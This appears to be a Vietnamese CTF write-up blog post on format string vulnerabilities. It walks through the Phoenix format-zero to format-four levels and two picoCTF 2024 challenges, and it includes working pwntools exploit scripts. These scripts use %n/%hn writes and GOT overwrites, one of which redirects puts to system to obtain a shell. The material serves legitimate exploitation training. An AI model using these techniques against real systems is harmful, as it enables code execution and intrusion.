2082 words
10 minutes
Format String
FORMAT ZERO (phoenix)
Source code
/*
* phoenix/format-zero, by https://exploit.education
*
* Can you change the "changeme" variable?
*
* 0 bottles of beer on the wall, 0 bottles of beer! You take one down, and
* pass it around, 4294967295 bottles of beer on the wall!
*/
#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define BANNER \
"Welcome to " LEVELNAME ", brought to you by https://exploit.education"
int main(int argc, char **argv) {
struct {
char dest[32];
volatile int changeme;
} locals;
char buffer[16];
printf("%s\n", BANNER);
if (fgets(buffer, sizeof(buffer) - 1, stdin) == NULL) {
errx(1, "Unable to get buffer");
}
buffer[15] = 0;
locals.changeme = 0;
sprintf(locals.dest, buffer);
if (locals.changeme != 0) {
puts("Well done, the 'changeme' variable has been changed!");
} else {
puts(
"Uh oh, 'changeme' has not yet been changed. Would you like to try "
"again?");
}
exit(0);
}- Đọc source code ta thấy chương trình sẽ nhận đầu vào tối đa 15 kí tự vào mảng buffer. Sau khi nhận đầu vào thành công thì nội dung của mảng buffer sẽ được sao chép vào locals.dest. Cuối cùng kiểm tra xem biến changeme có thay đổi không, nếu thayu đổi thì sẽ hoàn thành thử thách
- Bài này ta không thể sử dụng tràn bộ đệm để giải quyết vì đầu vào tối đa 15 kí tự mà mảng char locals.dest được khai báo 32 byte nên không thể ghi đè giá trị vào biến changeme
- Tuy nhiên, chương trình sử dụng hàm sprintf để định dạng mảng char buffer và ghi dữ liệu vào bộ đệm locals.dest
- Lợi dụng lỗ hỏng chuỗi định dạng đó ta có thể ghi %x chỉ 2 kí tự nhưng khi qua hàm sprintf thì nó sẽ có dạng giá trị hex gồm 8 kí tự
- Vậy muốn điền vào bộ đệm của locals.dest 32 kí tự thì ta có thể sử dụng
%<pading>x, trong đó pading là số lượng kí tự trống, và khi enter hàm sprintf tự động lưu ký tự xuống dòng có giá trị là 0x0a vào bộ đệm lân cận
FORMAT ONE (phoenix)
Source code
/*
* phoenix/format-one, by https://exploit.education
*
* Can you change the "changeme" variable?
*
* Why did the Tomato blush? It saw the salad dressing!
*/
#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define BANNER \
"Welcome to " LEVELNAME ", brought to you by https://exploit.education"
int main(int argc, char **argv) {
struct {
char dest[32];
volatile int changeme;
} locals;
char buffer[16];
printf("%s\n", BANNER);
if (fgets(buffer, sizeof(buffer) - 1, stdin) == NULL) {
errx(1, "Unable to get buffer");
}
buffer[15] = 0;
locals.changeme = 0;
sprintf(locals.dest, buffer);
if (locals.changeme != 0x45764f6c) {
printf("Uh oh, 'changeme' is not the magic value, it is 0x%08x\n",
locals.changeme);
} else {
puts("Well done, the 'changeme' variable has been changed correctly!");
}
exit(0);
}- Level này tương tự với format-zero nhưng khác một chút đó là phải làm biến changeme có giá trị là 0x45764f6c
- Ta chỉ cần làm tương tự level trước đó và thêm giá trị vào sau

FORMAT TWO (phoenix)
Source code
/*
* phoenix/format-two, by https://exploit.education
*
* Can you change the "changeme" variable?
*
* What kind of flower should never be put in a vase?
* A cauliflower.
*/
#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define BANNER \
"Welcome to " LEVELNAME ", brought to you by https://exploit.education"
int changeme;
void bounce(char *str) {
printf(str);
}
int main(int argc, char **argv) {
char buf[256];
printf("%s\n", BANNER);
if (argc > 1) {
memset(buf, 0, sizeof(buf));
strncpy(buf, argv[1], sizeof(buf));
bounce(buf);
}
if (changeme != 0) {
puts("Well done, the 'changeme' variable has been changed correctly!");
} else {
puts("Better luck next time!\n");
}
exit(0);
}- Ta cần thay đổi giá trị biến
changeme - Chương trình cho ta nhập đối số và sao chép sang biến
buf - Nhập chuỗi định dạng để tìm được vị trí của biến
buftrên stack
- Ta thấy chuỗi ký tự
Acó mã hex là0x41đang nằm ở vị trí thứ 12 - Ta tìm địa chỉ
changemesau đó nhập vào và dùng định dạng%nđể thay đổi giá trị
- Địa chỉ
changemelà0x600af0 - Nhưng địa chỉ này có byte
0x0alà kí tự xuống dòng nên khi nhập dữ liệu sẽ kết thúc ở đây nên cần thay đổi địa chỉchangeme - Đổi sang kiến trúc 32 bit thì giá trị
changemeđã đổi
- Nhập địa chỉ này và dùng
%nđể thay đổi giá trị
FORMAT THREE (phoenix)
Source code
/*
* phoenix/format-three, by https://exploit.education
*
* Can you change the "changeme" variable to a precise value?
*
* How do you fix a cracked pumpkin? With a pumpkin patch.
*/
#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define BANNER \
"Welcome to " LEVELNAME ", brought to you by https://exploit.education"
int changeme;
void bounce(char *str) {
printf(str);
}
int main(int argc, char **argv) {
char buf[4096];
printf("%s\n", BANNER);
if (read(0, buf, sizeof(buf) - 1) <= 0) {
exit(EXIT_FAILURE);
}
bounce(buf);
if (changeme == 0x64457845) {
puts("Well done, the 'changeme' variable has been changed correctly!");
} else {
printf(
"Better luck next time - got 0x%08x, wanted 0x64457845!\n", changeme);
}
exit(0);
}- Thử thách này tương tự với thử thách trước nhưng phải thay đổi biến
changemethành giá trị0x64457845 - Dùng kiến trúc 32 bit vì kiến trúc 64 bit thì địa chỉ
changemelà0x600af0có byte0x0a - Tìm địa chỉ
changeme
- Tìm vị trí của biến
buftrên ngăn xếp
- Ta thấy các byte
0x41nằm ở vị trí thứ 12 - Để thay đổi giá trị của biến
changemeta dùng%nđể thay - Nếu muốnchangemebằng0x64457845ta cần0x64457845byte trước%nđể thay đổi giá trị nhưng giá trị này rất lớn nên ta thay đổi giá trị từng byte - Ta đưa địa chỉ từng byte vào dữ liệu đầu vào
from pwn import *
changeme = 0x8049844
payload = p32(changeme)
payload += p32(changeme+1)
payload += p32(changeme+2)
payload += p32(changeme+3)
payload += '%x '*11
payload += '%n'
print(payload)
- Ta xem địa chỉ đầu tiên đã có giá trị là bao nhiêu sao khi
%nvới dữ liệu trên
- Ta được
0x51nhưng ta cần giá trị là0x45nên ta sẽ đưa thêm dữ liệu vào đủ0x145để có được byte giá trị đầu là0x45, cần thêm0x145 - 0x51 = 244 byte
- Tiếp theo ta đổi giá trị byte thứ 2, giá trị này phụ thuộc vào số byte ở trước nó nhưng ta không biết chính xác nên dùng
%nđể biết đã có giá trị bao nhiêu
- Ta thấy byte thứ 2 đã là
0x45nhưng ta cần là0x78nên cần0x78 - 0x45 = 51 byte
- Tương tự với byte thứ 3 và byte thứ 4 làm tương tự

Script
from pwn import *
changeme = 0x8049844
payload = p32(changeme)
payload += p32(changeme+1)
payload += p32(changeme+2)
payload += p32(changeme+3)
payload += '%x '*11
payload += 'a'*244
payload += '%n'
payload += 'a'*51
payload += '%n'
payload += 'a'*205
payload += '%n'
payload += 'a'*31
payload += '%n'
print(payload)FORMAT FOUR (phoenix)
Source code
/*
* phoenix/format-four, by https://exploit.education
*
* Can you affect code execution? Once you've got congratulations() to
* execute, can you then execute your own shell code?
*
* Did you get a hair cut?
* No, I got all of them cut.
*
*/
#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define BANNER \
"Welcome to " LEVELNAME ", brought to you by https://exploit.education"
void bounce(char *str) {
printf(str);
exit(0);
}
void congratulations() {
printf("Well done, you're redirected code execution!\n");
exit(0);
}
int main(int argc, char **argv) {
char buf[4096];
printf("%s\n", BANNER);
if (read(0, buf, sizeof(buf) - 1) <= 0) {
exit(EXIT_FAILURE);
}
bounce(buf);
}- Xem các lớp bảo vệ của chương trình

- Thử thách này ta cần nhảy vào hàm
congratulations() - Ta thấy hàm
bouncesau khiprintf(str)thì gọi hàmexit(0) - Ý tưởng của bài này là ghi chuyển hướng thực thi của hàm
exitsang hàmcongratulationsbằng cách ghi đè bảngGOTcủa hàmexitthành địa chỉ của hàmcongratulations - Chế độ bảo vệ
RELROđã tắt cho phép bảng GOT có thể ghi được - Tìm địa chỉ của
exit
- Địa chỉ của
exitlà0x080497e4 - Tìm địa chỉ của hàm
congratulations
- Địa chỉ của hàm
congratulationslà0x8048503 - Ta cần đặt giá trị
0x8048503vào địa chỉ0x080497e4của hàmexitđể khi gọi hàmexitthì sẽ được trỏ đến hàm gọi hàmcongratulations - Để thay đổi giá trị ta dùng định dạng
%ntương tự thử thách trước - Tìm vị trí biến
buftrong stack
- Ta thấy vị trí của biến
bufnằm ở vị trí thứ 12 - Làm tương tự như thử thách trước để thay đổi giá trị tại địa chỉ
0x080497e4thành0x8048503
Script
from pwn import *
exit = 0x080497e4
payload = p32(exit)
payload += p32(exit+1)
payload += p32(exit+2)
payload += p32(exit+3)
payload += '%x '*11
payload += 'a'*178
payload += '%n'
payload += 'a'*130
payload += '%n'
payload += 'a'*127
payload += '%n'
payload += 'a'*4
payload += '%n'
print(payload)format string 2 (picoctf2024)
Source code
#include <stdio.h>
int sus = 0x21737573;
int main() {
char buf[1024];
char flag[64];
printf("You don't have what it takes. Only a true wizard could change my suspicions. What do you have to say?\n");
fflush(stdout);
scanf("%1024s", buf);
printf("Here's your input: ");
printf(buf);
printf("\n");
fflush(stdout);
if (sus == 0x67616c66) {
printf("I have NO clue how you did that, you must be a wizard. Here you go...\n");
// Read in the flag
FILE *fd = fopen("flag.txt", "r");
fgets(flag, 64, fd);
printf("%s", flag);
fflush(stdout);
}
else {
printf("sus = 0x%x\n", sus);
printf("You can do better!\n");
fflush(stdout);
}
return 0;
}- Có lỗi
format stringởprintf(buf) - Ta cần thay đổi giá trị biến
susthành0x67616c66để có thể lấy flag - Ta tìm địa chỉ biến
sus
- Địa chỉ biến
suslà0x404060 - Để lợi dụng lỗi
format stringđể thay đổi giá trị biếnsusta cần dùng%n - Vì giá trị
0x67616c66là số rất lớn có thể gây ra lỗi khi pading qua các byte để ghi được giá trị nên ta chia 2 lần mỗi lần ghi 2 byte với 2 giá trị0x6761và0x6c66 - Để ghi giá trị 2 byte ta dùng
%hn - Vậy ta sẽ ghi 2 giá trị là
0x6c66vào địa chỉ0x404060và giá trị0x6761vào địa chỉ0x404062 - Để có thể ghi giá trị chính xác phụ thuộc vào số byte ở trước đó nên ta đưa giá trị nhỏ hơn là
0x6761vào địa chỉ0x404062trước - Để địa chỉ của biến
susvàsus+2nằm đúng trên một địa chỉ của stack ta pading qua0x30sau đó ghi địa chỉ vào - Tìm vị trí sau khi pading thì địa chỉ ta đưa vào nằm ở đâu trên stack

- Địa chỉ ta ghi vào nằm ở
0x7fffffffdc80 - Tính ofset
(0x7fffffffdc80 - 0x7fffffffdc10)/8 + 6 = 20 - Sau khi ghi vào địa chỉ
sus+2thì ta cần trừ các byte ở trước cho phù hợp để ghi giá trị đúng vào địa chỉsus0x6c66 - 0x6761 = 1285 byte
Script
#!/usr/bin/python3
from pwn import *
#p = process('./vuln')
p = remote('rhea.picoctf.net', 57539)
sus = 0x404060
payload = b''
payload += b'%26465c%20$hn%1285c%21$hn'
payload = payload.ljust(0x30, b'a')
payload += p64(sus+2)
payload += p64(sus)
#log.info(payload)
#input()
p.sendlineafter(b'say?\n',payload)
p.interactive()format string 3 (picoctf 2024)
Source code
#include <stdio.h>
#define MAX_STRINGS 32
char *normal_string = "/bin/sh";
void setup() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
}
void hello() {
puts("Howdy gamers!");
printf("Okay I'll be nice. Here's the address of setvbuf in libc: %p\n", &setvbuf);
}
int main() {
char *all_strings[MAX_STRINGS] = {NULL};
char buf[1024] = {'\0'};
setup();
hello();
fgets(buf, 1024, stdin);
printf(buf);
puts(normal_string);
return 0;
}- Ý tưởng bài này là dùng format string để overwite địa chỉ got của
putsthành địa chỉ củasystem - Hàm
putscó tham số là/bin/shnếu đổi thànhsystemthì ta chiếm được shell - Bài này cho địa chỉ của
setvbufnên ta tìm được địa chỉ libc
- Ta thấy địa chỉ ofset của hàm
putsvàsystemkhác nhau chỉ 3 byte nên ta chỉ cần overwrite 3 byte
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./format-string-3', checksec=False)
libc = ELF('./libc.so.6', checksec = False)
p = process(exe.path)
p = remote('rhea.picoctf.net', 55731)
p.recvuntil(b'libc: ')
libc_leak = int(p.recvline()[:-1], 16)
libc.address = libc_leak - libc.sym['setvbuf']
log.info(hex(libc_leak))
log.info(hex(libc.address))
a = {
libc.sym.system & 0xff : exe.got['puts'] + 0,
(libc.sym.system >> 8) & 0xffff : exe.got['puts'] + 1,
}
b = sorted(a)
payload = f'%{b[0]}c%48$hhn'.encode()
payload += f'%{b[1] - b[0]}c%49$hn'.encode()
payload = payload.ljust(0x50, b'a')
payload += p64(a[b[0]])
payload += p64(a[b[1]])
log.info(payload)
input()
p.sendline(payload)
p.interactive() Format String
https://blog.s4ngxg.site/posts/ctf/format-string/